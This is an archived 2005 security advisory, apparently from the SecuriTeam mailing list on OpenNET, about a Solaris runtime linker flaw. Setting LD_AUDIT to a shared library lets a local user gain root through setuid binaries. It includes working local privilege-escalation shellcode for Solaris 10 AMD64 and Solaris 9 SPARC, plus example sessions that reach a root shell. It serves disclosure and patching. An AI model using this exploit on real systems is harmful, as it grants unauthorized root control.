The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[UNIX] Solaris Runtime Linker Security Vulnerability


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 5 Jul 2005 14:02:12 +0200
Subject: [UNIX] Solaris Runtime Linker Security Vulnerability
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050705121113.D57585825@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Solaris Runtime Linker Security Vulnerability
------------------------------------------------------------------------


SUMMARY

Solaris's runtime linker fails to check the value of an environment 
variable allowing a local attacker to gain root privileges.

DETAILS

Vulnerable Systems:
SPARC and x86 Platform:
 * Solaris 8 with patches 109147-31 through 109147-36
 * Solaris 9 with patches 112963-16 through 112963-19
 * Solaris 10

Immune Systems:
 * Solaris 7 is not affected by this issue.

ld.so in Solaris 9 and 10 doesn't check the length of LD_AUDIT environment 
variable when running s[ug]id binaries, allowing an attacker to run 
arbitrary code with elevated privileges.

Proof of Concept Code:
Solaris 10 (AMD64):
//dupa.c
static char sh[] =
"\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb"
"\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01"
"\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f"
"\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07"
"\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52"
"\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff";

int la_version() {
        void (*f)();
        f = (void*)sh;
        f();
        return 3;
}

Example Run:
atari:venglin:~> gcc -fPIC -shared -o /tmp/dupa.so dupa.c
atari:venglin:~> setenv LD_AUDIT /tmp/dupa.so
atari:venglin:~> su
# id
uid=0(root) gid=10(staff)

Solaris 9 on SPARC:
//dupa.c
char sh[] =
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

int la_version() {
        void (*f)();
        f = (void*)sh;
        f();
        return 3;
}


Example Run:
$ gcc -fPIC -shared -o /tmp/dupa.so dupa.c
$ export LD_AUDIT=/tmp/dupa.so
$ ping
# id
uid=0(root) gid=100(student)

Vendor Status:
Sun has released an advisory that addresses the issue. For more details 
see:  <http://sunsolve.sun.com/search/document.do?assetkey=1-26-101794-1>; 
http://sunsolve.sun.com/search/document.do?assetkey=1-26-101794-1


ADDITIONAL INFORMATION

The information has been provided by  <mailto:venglin@freebsd.lublin.pl.> 
Przemyslaw Frasunek.




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру